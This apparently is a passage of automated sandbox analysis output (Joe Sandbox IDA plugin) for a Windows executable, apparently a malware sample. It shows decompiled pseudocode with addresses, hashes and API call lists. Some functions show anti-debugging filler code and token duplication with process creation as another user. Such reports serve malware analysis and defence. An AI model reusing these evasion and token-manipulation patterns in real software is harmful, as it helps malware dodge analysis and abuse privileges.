				char* _t120;
				short* _t121;
				short* _t123;
				short* _t127;
				int _t128;
				short* _t141;
				signed int _t144;
				void* _t146;
				short* _t147;
				signed int _t150;
				short* _t153;
				char* _t157;
				int _t160;
				long _t162;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				int _t182;
				signed int _t186;
				signed int _t188;
				short* _t189;
				int _t191;
				intOrPtr _t194;
				int _t207;

				_t110 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t110 ^ _t188;
				_t194 =  *0x43f6b8; // 0x0
				_t184 = __ecx;
				if(_t194 == 0) {
					_t182 = 1;
					if(LCMapStringW(0, 0x100, 0x439aac, 1, 0, 0) == 0) {
						_t162 = GetLastError();
						__eflags = _t162 - 0x78;
						if(_t162 == 0x78) {
							 *0x43f6b8 = 2;
						}
					} else {
						 *0x43f6b8 = 1;
					}
				}
				if(_a16 <= 0) {
					L13:
					_t112 =  *0x43f6b8; // 0x0
					if(_t112 == 2 || _t112 == 0) {
						__eflags = _a4;
						_v16 = 0;
						_v20 = 0;
						if(_a4 == 0) {
							_a4 =  *((intOrPtr*)( *_t184 + 0x14));
						}
						__eflags = _a28;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t113 = E004353EC(0, _t179, _t182, _t184, _a4);
						__eflags = _t113 - 0xffffffff;
						_v24 = _t113;
						if(_t113 != 0xffffffff) {
							__eflags = _t113 - _a28;
							if(_t113 == _a28) {
								_t184 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
								L78:
								__eflags = _v16;
								if(__eflags != 0) {
									_push(_v16);
									E0042B4FE(0, _t179, _t182, _t184, __eflags);
								}
								_t115 = _v20;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags = _a20 - _t115;
									if(__eflags != 0) {
										_push(_t115);
										E0042B4FE(0, _t179, _t182, _t184, __eflags);
									}
								}
								_t116 = _t184;
								goto L84;
							}
							_t120 = E00435433(_t179, _a28, _t113, _a12,  &_a16, 0, 0);
							_t191 =  &(_t189[0xc]);
							__eflags = _t120;
							_v16 = _t120;
							if(_t120 == 0) {
								goto L58;
							}
							_t121 = LCMapStringA(_a4, _a8, _t120, _a16, 0, 0);
							__eflags = _t121;
							_v12 = _t121;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L71:
									_t182 = 0;
									__eflags = 0;
									L72:
									__eflags = _t182;
									if(_t182 == 0) {
										goto L62;
									}
									E0042DD30(_t182, _t182, 0, _v12);
									_t123 = LCMapStringA(_a4, _a8, _v16, _a16, _t182, _v12);
									__eflags = _t123;
									_v12 = _t123;
									if(_t123 != 0) {
										_t186 = E00435433(_t179, _v24, _a28, _t182,  &_v12, _a20, _a24);
										_v20 = _t186;
										asm("sbb esi, esi");
										_t184 =  ~_t186 & _v12;
										__eflags = _t184;
									} else {
										_t184 = 0;
									}
									E0042E54D(_t182);
									goto L78;
								}
								__eflags = _t121 - 0xffffffe0;
								if(_t121 > 0xffffffe0) {
									goto L71;
								}
								_t127 =  &(_t121[4]);
								__eflags = _t127 - 0x400;
								if(_t127 > 0x400) {
									_t128 = E0042EF11(0, _t179, _t182, LCMapStringA, _t127);
									__eflags = _t128;
									if(_t128 != 0) {
										 *_t128 = 0xdddd;
										_t128 = _t128 + 8;
										__eflags = _t128;
									}
									_t182 = _t128;
									goto L72;
								}
								E004353C0(_t127);
								_t182 = _t191;
								__eflags = _t182;
								if(_t182 == 0) {
									goto L62;
								}
								 *_t182 = 0xcccc;
								_t182 = _t182 + 8;
								goto L72;
							}
							L62:
							_t184 = 0;
							goto L78;
						} else {
							goto L58;
						}
					} else {
						if(_t112 != 1) {
							L58:
							_t116 = 0;
							L84:
							return E0042DBBB(_t116, 0, _v8 ^ _t188, _t179, _t182, _t184);
						}
						_v12 = 0;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t184 = MultiByteToWideChar;
						_t182 = MultiByteToWideChar(_a28, 1 + (0 | _a32 != 0x00000000) * 8, _a12, _a16, 0, 0);
						_t207 = _t182;
						if(_t207 == 0) {
							goto L58;
						} else {
							if(_t207 <= 0) {
								L28:
								_v16 = 0;
								L29:
								if(_v16 == 0) {
									goto L58;
								}
								if(MultiByteToWideChar(_a28, 1, _a12, _a16, _v16, _t182) == 0) {
									L52:
									E0042E54D(_v16);
									_t116 = _v12;
									goto L84;
								}
								_t184 = LCMapStringW;
								_t174 = LCMapStringW(_a4, _a8, _v16, _t182, 0, 0);
								_v12 = _t174;
								if(_t174 == 0) {
									goto L52;
								}
								if((_a8 & 0x00000400) == 0) {
									__eflags = _t174;
									if(_t174 <= 0) {
										L44:
										_t184 = 0;
										__eflags = 0;
										L45:
										__eflags = _t184;
										if(_t184 != 0) {
											_t141 = LCMapStringW(_a4, _a8, _v16, _t182, _t184, _v12);
											__eflags = _t141;
											if(_t141 != 0) {
												__eflags = _a24;
												_push(0);
												_push(0);
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_v12 = WideCharToMultiByte(_a28, 0, _t184, _v12, ??, ??, ??, ??);
											}
											E0042E54D(_t184);
										}
										goto L52;
									}
									_t144 = 0xffffffe0;
									_t179 = _t144 % _t174;
									__eflags = _t144 / _t174 - 2;
									if(_t144 / _t174 < 2) {
										goto L44;
									}
									_t52 = _t174 + 8; // 0x8
									_t146 = _t174 + _t52;
									__eflags = _t146 - 0x400;
									if(_t146 > 0x400) {
										_t147 = E0042EF11(0, _t179, _t182, LCMapStringW, _t146);
										__eflags = _t147;
										if(_t147 != 0) {
											 *_t147 = 0xdddd;
											_t147 =  &(_t147[4]);
											__eflags = _t147;
										}
										_t184 = _t147;
										goto L45;
									}
									E004353C0(_t146);
									_t184 = _t189;
									__eflags = _t184;
									if(_t184 == 0) {
										goto L52;
									}
									 *_t184 = 0xcccc;
									_t184 =  &(_t184[4]);
									goto L45;
								}
								if(_a24 != 0 && _t174 <= _a24) {
									LCMapStringW(_a4, _a8, _v16, _t182, _a20, _a24);
								}
								goto L52;
							}
							_t150 = 0xffffffe0;
							_t179 = _t150 % _t182;
							if(_t150 / _t182 < 2) {
								goto L28;
							}
							_t25 = _t182 + 8; // 0x8
							_t152 = _t182 + _t25;
							if(_t182 + _t25 > 0x400) {
								_t153 = E0042EF11(0, _t179, _t182, MultiByteToWideChar, _t152);
								__eflags = _t153;
								if(_t153 == 0) {
									L27:
									_v16 = _t153;
									goto L29;
								}
								 *_t153 = 0xdddd;
								L26:
								_t153 =  &(_t153[4]);
								goto L27;
							}
							E004353C0(_t152);
							_t153 = _t189;
							if(_t153 == 0) {
								goto L27;
							}
							 *_t153 = 0xcccc;
							goto L26;
						}
					}
				}
				_t178 = _a16;
				_t157 = _a12;
				while(1) {
					_t178 = _t178 - 1;
					if( *_t157 == 0) {
						break;
					}
					_t157 =  &(_t157[1]);
					if(_t178 != 0) {
						continue;
					}
					_t178 = _t178 | 0xffffffff;
					break;
				}
				_t160 = _a16 - _t178 - 1;
				if(_t160 < _a16) {
					_t160 = _t160 + 1;
				}
				_a16 = _t160;
				goto L13;
			}

0x0042e876
0x0042e87d
0x0042e884
0x0042e88b
0x0042e88d
0x0042e893
0x0042e8a8
0x0042e8b2
0x0042e8b8
0x0042e8bb
0x0042e8bd
0x0042e8bd
0x0042e8aa
0x0042e8aa
0x0042e8aa
0x0042e8a8
0x0042e8ca
0x0042e8ee
0x0042e8ee
0x0042e8f6
0x0042eaa7
0x0042eaaa
0x0042eaad
0x0042eab0
0x0042eab7
0x0042eab7
0x0042eaba
0x0042eabd
0x0042eac4
0x0042eac4
0x0042eaca
0x0042eacf
0x0042ead3
0x0042ead6
0x0042eadf
0x0042eae2
0x0042ebdb
0x0042ebdd
0x0042ebdd
0x0042ebe0
0x0042ebe2
0x0042ebe5
0x0042ebea
0x0042ebeb
0x0042ebee
0x0042ebf0
0x0042ebf2
0x0042ebf5
0x0042ebf7
0x0042ebf8
0x0042ebfd
0x0042ebf5
0x0042ebfe
0x00000000
0x0042ebfe
0x0042eaf5
0x0042eafa
0x0042eafd
0x0042eaff
0x0042eb02
0x00000000
0x00000000
0x0042eb16
0x0042eb18
0x0042eb1a
0x0042eb1d
0x0042eb26
0x0042eb65
0x0042eb65
0x0042eb65
0x0042eb67
0x0042eb67
0x0042eb69
0x00000000
0x00000000
0x0042eb70
0x0042eb88
0x0042eb8a
0x0042eb8c
0x0042eb8f
0x0042ebab
0x0042ebad
0x0042ebb5
0x0042ebb7
0x0042ebb7
0x0042eb91
0x0042eb91
0x0042eb91
0x0042ebbb
0x00000000
0x0042ebc0
0x0042eb28
0x0042eb2b
0x00000000
0x00000000
0x0042eb2d
0x0042eb30
0x0042eb35
0x0042eb4e
0x0042eb53
0x0042eb56
0x0042eb58
0x0042eb5e
0x0042eb5e
0x0042eb5e
0x0042eb61
0x00000000
0x0042eb61
0x0042eb37
0x0042eb3c
0x0042eb3e
0x0042eb40
0x00000000
0x00000000
0x0042eb42
0x0042eb48
0x00000000
0x0042eb48
0x0042eb1f
0x0042eb1f
0x00000000
0x00000000
0x00000000
0x00000000
0x0042e904
0x0042e907
0x0042ead8
0x0042ead8
0x0042ec00
0x0042ec11
0x0042ec11
0x0042e910
0x0042e913
0x0042e91a
0x0042e91a
0x0042e91d
0x0042e940
0x0042e942
0x0042e944
0x00000000
0x0042e94a
0x0042e94a
0x0042e98f
0x0042e98f
0x0042e992
0x0042e995
0x00000000
0x00000000
0x0042e9ae
0x0042ea96
0x0042ea99
0x0042ea9e
0x00000000
0x0042eaa1
0x0042e9b4
0x0042e9c8
0x0042e9cc
0x0042e9cf
0x00000000
0x00000000
0x0042e9db
0x0042ea06
0x0042ea08
0x0042ea4f
0x0042ea4f
0x0042ea4f
0x0042ea51
0x0042ea51
0x0042ea53
0x0042ea63
0x0042ea69
0x0042ea6b
0x0042ea6d
0x0042ea70
0x0042ea71
0x0042ea72
0x0042ea78
0x0042ea7b
0x0042ea74
0x0042ea74
0x0042ea75
0x0042ea75
0x0042ea8c
0x0042ea8c
0x0042ea90
0x0042ea95
0x00000000
0x0042ea53
0x0042ea0e
0x0042ea0f
0x0042ea11
0x0042ea14
0x00000000
0x00000000
0x0042ea16
0x0042ea16
0x0042ea1a
0x0042ea1f
0x0042ea38
0x0042ea3d
0x0042ea40
0x0042ea42
0x0042ea48
0x0042ea48
0x0042ea48
0x0042ea4b
0x00000000
0x0042ea4b
0x0042ea21
0x0042ea26
0x0042ea28
0x0042ea2a
0x00000000
0x00000000
0x0042ea2c
0x0042ea32
0x00000000
0x0042ea32
0x0042e9e0
0x0042e9ff
0x0042e9ff
0x00000000
0x0042e9e0
0x0042e950
0x0042e951
0x0042e956
0x00000000
0x00000000
0x0042e958
0x0042e958
0x0042e961
0x0042e977
0x0042e97c
0x0042e97f
0x0042e98a
0x0042e98a
0x00000000
0x0042e98a
0x0042e981
0x0042e987
0x0042e987
0x00000000
0x0042e987
0x0042e963
0x0042e968
0x0042e96c
0x00000000
0x00000000
0x0042e96e
0x00000000
0x0042e96e
0x0042e944
0x0042e8f6
0x0042e8cc
0x0042e8cf
0x0042e8d2
0x0042e8d2
0x0042e8d5
0x00000000
0x00000000
0x0042e8d7
0x0042e8da
0x00000000
0x00000000
0x0042e8dc
0x00000000
0x0042e8dc
0x0042e8e4
0x0042e8e8
0x0042e8ea
0x0042e8ea
0x0042e8eb
0x00000000

APIs

LCMapStringW.KERNEL32(00000000,00000100,00439AAC,00000001,00000000,00000000,00000100,?,00000000,?,?,?,?,?,?,?), ref: 0042E8A0
GetLastError.KERNEL32 ref: 0042E8B2
MultiByteToWideChar.KERNEL32(00000100,00000000,?,?,00000000,00000000,00000100,?,00000000,?,?,?,?,?,?,?), ref: 0042E93E
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 0042E9AA
LCMapStringW.KERNEL32(?,?,?,00000000,00000000,00000000), ref: 0042E9C6
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 0042E9FF
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 0042EA63
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0042EA86

Part of subcall function 004353EC: GetLocaleInfoA.KERNEL32(?,00001004,?,00000006,?,?,?,?,?,?,00000000), ref: 0043540E

LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,00000100,?,00000000,?,?,?,?), ref: 0042EB16

Part of subcall function 0042EF11: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,0042B5CA,?,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?), ref: 0042EF89

LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,00000100,?,00000000,?), ref: 0042EB88
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,00000100,?,00000000,?,?,?,?,?,?,?), ref: 0042EBD5

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Part of subcall function 0042B4FE: HeapFree.KERNEL32(00000000,?,0043AEB0), ref: 0042B566
Part of subcall function 0042B4FE: GetLastError.KERNEL32(?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 0042B577

Part of subcall function 00435433: GetCPInfo.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,0042EE3B,?,?,?,?,?,?), ref: 0043547C
Part of subcall function 00435433: GetCPInfo.KERNEL32(?,00000001,?,0042EE3B,?,?), ref: 00435495
Part of subcall function 00435433: _strlen.LIBCMT ref: 004354B3
Part of subcall function 00435433: MultiByteToWideChar.KERNEL32(?,00000001,?,0042EE3B,00000000,00000000,?,0042EE3B,?,?,?,?,?,?,?,?), ref: 004354F3
Part of subcall function 00435433: MultiByteToWideChar.KERNEL32(?,00000001,?,0042EE3B,?,00000000,?,?,?,?,?,?,?,0042EE3B,?,?), ref: 00435542
Part of subcall function 00435433: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,0042EE3B), ref: 0043555D
Part of subcall function 00435433: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,0042EE3B), ref: 00435583
Part of subcall function 00435433: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,0042EE3B), ref: 004355A8

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ByteCharMultiWide$String$Info$ErrorExceptionFilterHeapLastProcessUnhandled$AllocCurrentDebuggerFreeLocalePresentTerminate_strlen
String ID:
API String ID: 2570851594-0
Opcode ID: c939c37b67a8dda213c55824b4ce3536c0a75df144c7ee1a00c51f80a3266724
Instruction ID: dffbbcbb7ab7f1011cc001f77cdae65f296335edc4aa2ddd6e56629ea6ea412d
Opcode Fuzzy Hash: c939c37b67a8dda213c55824b4ce3536c0a75df144c7ee1a00c51f80a3266724
Instruction Fuzzy Hash: 29B1B072A00129AFDF219FA6EC808AF7BB5FF08354F94452BF905A7260D3398D51DB58

Function 00407B20, Relevance: 16.6, APIs: 11, Instructions: 117memorysleepthread

APIs

WaitForSingleObject.KERNEL32(00000144,000000FF), ref: 00407B44
GetCurrentProcessId.KERNEL32(004290C8), ref: 00407B69

Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000008,00000208,004290C8), ref: 004073F9
Part of subcall function 004073E0: HeapAlloc.KERNEL32(00000000), ref: 00407400
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000008,00000208), ref: 0040741A
Part of subcall function 004073E0: HeapAlloc.KERNEL32(00000000), ref: 00407421
Part of subcall function 004073E0: OpenProcess.KERNEL32(00000400,00000000,?), ref: 00407475
Part of subcall function 004073E0: OpenProcessToken.ADVAPI32(00000000,00020008,00000000,00000018), ref: 0040757F
Part of subcall function 004073E0: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000,0000000D), ref: 0040770C
Part of subcall function 004073E0: GetLastError.KERNEL32 ref: 00407712
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000008,00000000), ref: 00407727
Part of subcall function 004073E0: HeapAlloc.KERNEL32(00000000), ref: 0040772E
Part of subcall function 004073E0: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407753
Part of subcall function 004073E0: LookupAccountSidW.ADVAPI32(00000000,00000104,00000000,00000104,00000000,00000104,?), ref: 00407786
Part of subcall function 004073E0: wsprintfW.USER32 ref: 00407932
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407956
Part of subcall function 004073E0: HeapFree.KERNEL32(00000000), ref: 0040795D
Part of subcall function 004073E0: CloseHandle.KERNEL32(00000000), ref: 00407972
Part of subcall function 004073E0: CloseHandle.KERNEL32(00000000), ref: 00407987
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040799E
Part of subcall function 004073E0: HeapFree.KERNEL32(00000000), ref: 004079A5
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004079B1
Part of subcall function 004073E0: HeapFree.KERNEL32(00000000), ref: 004079B8

GetProcessHeap.KERNEL32(00000008,0000000C,00000000), ref: 00407B79
HeapAlloc.KERNEL32(00000000), ref: 00407B80
GetCurrentProcessId.KERNEL32 ref: 00407BA0
CreateThread.KERNEL32(00000000,00000000,0040CCD0,?,00000000,00000000), ref: 00407BBD
CloseHandle.KERNEL32(00000000), ref: 00407BC4
CreateThread.KERNEL32(00000000,00000000,00408BE0,00000000,00000000,00000000), ref: 00407C63
CloseHandle.KERNEL32(00000000), ref: 00407C6A

Part of subcall function 00415620: LoadLibraryA.KERNEL32(00000000), ref: 004157B1
Part of subcall function 00415620: GetProcAddress.KERNELBASE(00000000), ref: 004157B8
Part of subcall function 00415620: NtQuerySystemInformation.NTDLL(00000005,00000000,00000000,00000000), ref: 004157E4
Part of subcall function 00415620: VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00415814
Part of subcall function 00415620: NtQuerySystemInformation.NTDLL(00000005,00000000,00000000,00000000), ref: 00415834
Part of subcall function 00415620: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041584E
Part of subcall function 00415620: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00415912

Sleep.KERNEL32(000003E8), ref: 00407C96
Sleep.KERNEL32(0000001E), ref: 00407C9E

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFree$CloseHandleInformation$TokenVirtual$CreateCurrentOpenQuerySleepSystemThread$AccountAddressErrorLastLibraryLoadLookupObjectProcSingleWaitwsprintf
String ID:
API String ID: 2071427508-0
Opcode ID: 1aa719c65d39bc1d5ae0a02b02a4b87fb1cc7a4cce41659bb92389dec003f7b3
Instruction ID: d0c4713c8208ecd708e3f6074f3c0cdd13ae2aaaa80a766491b9d7fa83495650
Opcode Fuzzy Hash: 1aa719c65d39bc1d5ae0a02b02a4b87fb1cc7a4cce41659bb92389dec003f7b3
Instruction Fuzzy Hash: 6E41C530E84208EFE714DFA4DC89BADBBB1AF48711F1480A6E905B72C1C6B86941DB5D

Function 00426B60, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 83

C-Code - Quality: 88%

			E00426B60() {
				signed int* _v8;
				signed int _v12;
				char _v16;
				signed int* _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				intOrPtr _v68;
				signed int* _v72;
				signed int _t81;

				_v28 = 0xb6;
				_v40 = 0xb6;
				_v64 = 0x5b;
				_v48 = (_v40 | _v64) * _v28;
				_v12 = 0x8b;
				_v24 = 0xf1170ab0;
				_v20 =  &_v12;
				_v60 = 0x38;
				asm("cdq");
				_v32 = ( *_v20 | 0x00000043) / (_v24 + 1);
				asm("cdq");
				_v52 = _v32 / (_v32 + 1);
				GetTickCount();
				_v36 = 0x118e;
				_v52 = _v40 - _v36 + _v52;
				GetTickCount();
				_v56 = 0x30;
				_v32 = _v32 - (_v28 | 0x0000a023) * _v56;
				_v68 = 0;
				while(_v68 < 2) {
					_v72 =  &_v52;
					_v52 = _v52 -  *_v72 * _v28;
					_v68 = _v68 + 1;
				}
				_v28 = ((_v40 & _v12) - _v24) * _v28;
				IsDebuggerPresent();
				GetCommandLineA();
				_v16 = 0x6a;
				_v8 =  &_v16;
				asm("cdq");
				_t81 =  *_v8 / (_v32 + 1) + _v12;
				_v12 = _t81;
				if(_v24 == 0xf563f66e) {
					return GetEnvironmentStringsW();
				}
				return _t81;
			}

0x00426b66
0x00426b6d
0x00426b74
0x00426b85
0x00426b88
0x00426b8f
0x00426b99
0x00426b9c
0x00426bb1
0x00426bb4
0x00426bc0
0x00426bc3
0x00426bc6
0x00426bcc
0x00426bdc
0x00426bdf
0x00426be5
0x00426bfd
0x00426c00
0x00426c12
0x00426c1b
0x00426c2c
0x00426c0f
0x00426c0f
0x00426c3e
0x00426c41
0x00426c47
0x00426c4d
0x00426c57
0x00426c65
0x00426c68
0x00426c6b
0x00426c75
0x00000000
0x00426c77
0x00426c80

APIs

GetTickCount.KERNEL32 ref: 00426BC6
GetTickCount.KERNEL32 ref: 00426BDF
IsDebuggerPresent.KERNEL32 ref: 00426C41
GetCommandLineA.KERNEL32 ref: 00426C47
GetEnvironmentStringsW.KERNEL32 ref: 00426C77

Strings

[80, xrefs: 00426B7E
8, xrefs: 00426B9C
0, xrefs: 00426BE5
j, xrefs: 00426C4D

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CountTick$CommandDebuggerEnvironmentLinePresentStrings
String ID: 0$8$[80$j
API String ID: 1808154890-2953688609
Opcode ID: 69ccc9df68d088153a36a64da9483c79a6466b5cb90341b824a49c8891f310d9
Instruction ID: 75ae12728c827bd0c8f105df17785671349ca5fe0addde8eb172ae934757db1f
Opcode Fuzzy Hash: 69ccc9df68d088153a36a64da9483c79a6466b5cb90341b824a49c8891f310d9
Instruction Fuzzy Hash: CB41BEB4D01219DFCB08CFA8D989AEEBBB1FB48304F20815AE805B7340D7796A45CF94

Function 0040CCD0, Relevance: 15.1, APIs: 10, Instructions: 122threadsynchronization

APIs

Part of subcall function 0040CEA0: GetProcessHeap.KERNEL32(00000008,00000208,?), ref: 0040CEB6
Part of subcall function 0040CEA0: HeapAlloc.KERNEL32(00000000), ref: 0040CEBD
Part of subcall function 0040CEA0: StrCpyW.SHLWAPI(?,0066FAB0), ref: 0040CFAC
Part of subcall function 0040CEA0: StrCatW.SHLWAPI(?,00000000), ref: 0040CFBF
Part of subcall function 0040CEA0: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,08000008,00000000,00000000,00000044,?), ref: 0040CFE2
Part of subcall function 0040CEA0: CloseHandle.KERNEL32(00000000), ref: 0040CFF8
Part of subcall function 0040CEA0: GetProcessHeap.KERNEL32(00000000,?), ref: 0040D004
Part of subcall function 0040CEA0: HeapFree.KERNEL32(00000000), ref: 0040D00B

ExitThread.KERNEL32 ref: 0040CE72

Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000008,00000208,004290C8), ref: 004073F9
Part of subcall function 004073E0: HeapAlloc.KERNEL32(00000000), ref: 00407400
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000008,00000208), ref: 0040741A
Part of subcall function 004073E0: HeapAlloc.KERNEL32(00000000), ref: 00407421
Part of subcall function 004073E0: OpenProcess.KERNEL32(00000400,00000000,?), ref: 00407475
Part of subcall function 004073E0: OpenProcessToken.ADVAPI32(00000000,00020008,00000000,00000018), ref: 0040757F
Part of subcall function 004073E0: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000,0000000D), ref: 0040770C
Part of subcall function 004073E0: GetLastError.KERNEL32 ref: 00407712
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000008,00000000), ref: 00407727
Part of subcall function 004073E0: HeapAlloc.KERNEL32(00000000), ref: 0040772E
Part of subcall function 004073E0: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407753
Part of subcall function 004073E0: LookupAccountSidW.ADVAPI32(00000000,00000104,00000000,00000104,00000000,00000104,?), ref: 00407786
Part of subcall function 004073E0: wsprintfW.USER32 ref: 00407932
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407956
Part of subcall function 004073E0: HeapFree.KERNEL32(00000000), ref: 0040795D
Part of subcall function 004073E0: CloseHandle.KERNEL32(00000000), ref: 00407972
Part of subcall function 004073E0: CloseHandle.KERNEL32(00000000), ref: 00407987
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040799E
Part of subcall function 004073E0: HeapFree.KERNEL32(00000000), ref: 004079A5
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004079B1
Part of subcall function 004073E0: HeapFree.KERNEL32(00000000), ref: 004079B8

Part of subcall function 00408EC0: OpenProcess.KERNEL32(02000000,00000000,?,?), ref: 00408F5C
Part of subcall function 00408EC0: ProcessIdToSessionId.KERNEL32(0000000D,00000000,0000000D,0000000D), ref: 0040911A
Part of subcall function 00408EC0: OpenProcessToken.ADVAPI32(00000000,000201EB,00000000,00000019), ref: 0040925C
Part of subcall function 00408EC0: DuplicateTokenEx.ADVAPI32(00000000,02000000,00000000,00000001,00000001,00000000,00000000), ref: 00409287
Part of subcall function 00408EC0: SetTokenInformation.ADVAPI32(00000000,0000000C,00000000,00000004), ref: 004092A4
Part of subcall function 00408EC0: AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00004000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004092C7
Part of subcall function 00408EC0: GetLengthSid.ADVAPI32(00000000), ref: 004092E8
Part of subcall function 00408EC0: SetTokenInformation.ADVAPI32(00000000,00000019,?,-00000008), ref: 004092FF
Part of subcall function 00408EC0: FreeSid.ADVAPI32(00000000), ref: 00409309
Part of subcall function 00408EC0: SetTokenInformation.ADVAPI32(00000000,0000001B,00000000,00000004), ref: 00409328
Part of subcall function 00408EC0: CreateEnvironmentBlock.USERENV(00000000,00000000,00000001), ref: 00409338
Part of subcall function 00408EC0: CreateProcessAsUserW.ADVAPI32 ref: 0040971F
Part of subcall function 00408EC0: OpenProcessToken.ADVAPI32(00000000,000201EB,?,0000000A,00000024), ref: 004098DB
Part of subcall function 00408EC0: CloseHandle.KERNEL32(?), ref: 004098F8
Part of subcall function 00408EC0: CloseHandle.KERNEL32(?), ref: 00409905
Part of subcall function 00408EC0: DestroyEnvironmentBlock.USERENV(00000000,00000024), ref: 00409920
Part of subcall function 00408EC0: CloseHandle.KERNEL32(00000000), ref: 0040992A
Part of subcall function 00408EC0: CloseHandle.KERNEL32(00000000), ref: 00409963
Part of subcall function 00408EC0: CloseHandle.KERNEL32(00000000), ref: 00409978

Part of subcall function 00402FE0: CreateFileW.KERNELBASE(FFFFFFFF,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00403025
Part of subcall function 00402FE0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040303F
Part of subcall function 00402FE0: GetProcessHeap.KERNEL32(00000008,-00000002), ref: 00403060
Part of subcall function 00402FE0: RtlAllocateHeap.NTDLL(00000000), ref: 00403067
Part of subcall function 00402FE0: ReadFile.KERNELBASE(000000FF,00000000,00000000,?,00000000), ref: 0040308A
Part of subcall function 00402FE0: GetLastError.KERNEL32 ref: 004030D7
Part of subcall function 00402FE0: CloseHandle.KERNEL32(000000FF), ref: 004030EA
Part of subcall function 00402FE0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00403102
Part of subcall function 00402FE0: HeapFree.KERNEL32(00000000), ref: 00403109
Part of subcall function 00402FE0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040311B
Part of subcall function 00402FE0: HeapFree.KERNEL32(00000000), ref: 00403122

WaitForMultipleObjects.KERNEL32 ref: 0040CDD1
